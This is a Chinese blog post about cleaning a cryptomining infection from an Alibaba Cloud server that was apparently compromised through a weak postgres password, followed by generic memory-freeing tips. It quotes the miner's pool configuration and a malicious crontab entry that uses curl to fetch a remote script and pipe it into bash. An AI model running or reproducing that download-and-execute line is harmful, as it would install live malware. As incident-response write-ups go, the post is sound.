阿里云服务器被攻击,CPU被占满

阿里云服务器被攻击,CPU被占满

cpu占用99.9%

这两天发现服务器上cpu一直是满负荷,查看了一下top发现是postgres的[ddns]占满了,网上搜了一下postgres的cpu占用问题,都说是sql查询的问题,可我sql都停了,没有查询,cpu还是占用接近99.9%,搜索ddns看看是什么也没查出来为什么cpu占用这么高。
切换postgres用户ps -ux查看该命令 ./[ddns] --config=./[ddns].pid
在这里插入图片描述
查了一下发现有个目录,里面有这个文件,(这时我还没发现是被攻击)

find / -name *ddns*

在这里插入图片描述

[ddns].pid.bak里面有个ip 194.147.114.20:45543

{
    "autosave": true,
    "background": true,
     "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "max-threads-hint": 70,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "cn/0": false,
        "cn-lite/0": false
    },
    "log-file":"/var/tmp/.../.ddns.log", 
    "opencl": false,
    "cuda": false,
    "pools": [
        
        { 
            "url": "194.147.114.20:45543"
        }
    ]
}

在网上用ip解析发现是瑞士
在这里插入图片描述
看了一下 往这个/var/tmp/…/.ddns.log 日志文件写了什么,意识到有可能被攻击了,网上查了一下,确定了是被攻击了

.ddns.log
在postgres用户下的crontab -l发现有个定时任务,定时获取一个a.sh
这样的话,就算kill -9 也没有用,它会定时恢复

*/30 * * * * /bin/curl -fsSL http://crypto.htxreceive.top/s3f815/a/a.sh | bash > /dev/null 2>&1

删除该用户下的crontab,如果你有其他的定时任务,用crontab -e 编辑

crontab -r

然后把/var/tmp/.crypto这个目录给删了,在kill掉哪个进程就可以了

查询authorized_keys是不是有自动登录的密钥
有的话删除掉这个用户还有这个文件

find / -name authorized_keys

大致原因我怀疑是我的postgres密码比较简单,因为它是在postgres用户下创建的

更详细的可以查看这位老哥的帖子
阿里云服务器被[crypto]攻击导致CPU爆满(已解决)

### 如何释放阿里云ECS服务器内存 #### 诊断高内存占用原因 对于阿里云 ECS 实例,如果遇到内存持续升高的情况,首先应当排查是否存在异常进程。通过 `top` 或者 `htop` 命令能够实时监控 CPU 内存的使用状况[^2]。 ```bash top ``` 此命令会展示当前系统中最消耗资源的进程列表,包括 PID、USER、PR(优先级)、NI(nice value)、VIRT(虚拟内存用量)、RES(常驻集大小)、SHR(共享内存大小)、S(状态)、%CPU、%MEM 及 COMMAND 等信息。观察是否有不正常的程序正在运行并占据大量内存。 #### 终止不必要的服务应用程序 一旦确认某些特定的服务或应用造成了过多的内存负担,则应考虑停止这些非必要的组件来缓解压力。可以通过如下方式结束某个具体的进程: ```bash kill -9 <PID> ``` 这里的 `<PID>` 是指代目标进程ID,在前面提到过的 `top` 输出里可以看到每一行开头即为此值。不过需要注意的是强制终止可能会造成数据丢失或其他不良后果,因此建议先尝试优雅关闭再采取强硬措施。 另外,还可以利用 systemd 来管理系统服务的状态: ```bash systemctl stop <service_name>.service ``` 这有助于确保按照预期的方式停运指定后台作业而不影响其他依赖项。 #### 清理缓存文件其他临时对象 有时操作系统本身也会为了提高性能而预留一部分物理 RAM 作为缓冲区/高速缓存空间。虽然这部分不会真正妨碍到新请求分配所需的实际工作负载所需的存储位置,但在必要时仍然可以手动触发清理动作以腾出更多可用容量给更重要的任务调用。 执行同步写入所有未完成的数据至磁盘并将脏页刷新出去的操作: ```bash sync; echo 3 > /proc/sys/vm/drop_caches ``` 上述指令序列中的第二条语句告诉 Linux 内核丢弃所有的页面缓存(cache),回收那些被用来做读取加速用途却暂时闲置下来的区块;参数 "3" 表示清除全部三种类型的缓存——PageCache (0), dentries/inodes(1) Directory entries(2)[^1]。 #### 配置合理的SWAP分区 当实际使用的内存量接近甚至超过硬件配置所能提供的极限时,适当设置 SWAP 分区可以帮助防止因过度超载而导致整个机器变得极其缓慢乃至崩溃的情况发生。编辑 `/etc/fstab` 文件添加 swap 设备映射关系或者直接创建一个新的交换文件也可以实现相同的效果。 创建一个名为 `swapfile` 的大尺寸二进制流,并将其格式化成 Swap 类型后激活它: ```bash fallocate -l 4G /mnt/swapfile # 创建4GB大小的Swap文件 chmod 600 /mnt/swapfile # 设置权限只允许root访问 mkswap /mnt/swapfile # 初始化为Swap区域 swapon /mnt/swapfile # 启动新的Swap支持 echo '/mnt/swapfile none swap sw 0 0' | sudo tee -a /etc/fstab # 添加到启动加载表单以便下次开机自动生效 ``` 最后记得调整 vm.swappiness 参数控制内核倾向于何时开始使用该辅助性的虚拟内存机制,默认情况下其数值范围是从0到100之间变化,越低意味着更少地依赖于硬盘模拟RAM功能。 #### 定期维护与安全防护 鉴于之前遭遇过恶意软件感染的经历,定期进行全面的安全审查至关重要。安装防病毒工具以及启用防火墙都是不错的预防手段之一。同时保持系统的更新频率也很重要,及时修补已知漏洞可有效减少遭受攻击的风险概率。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值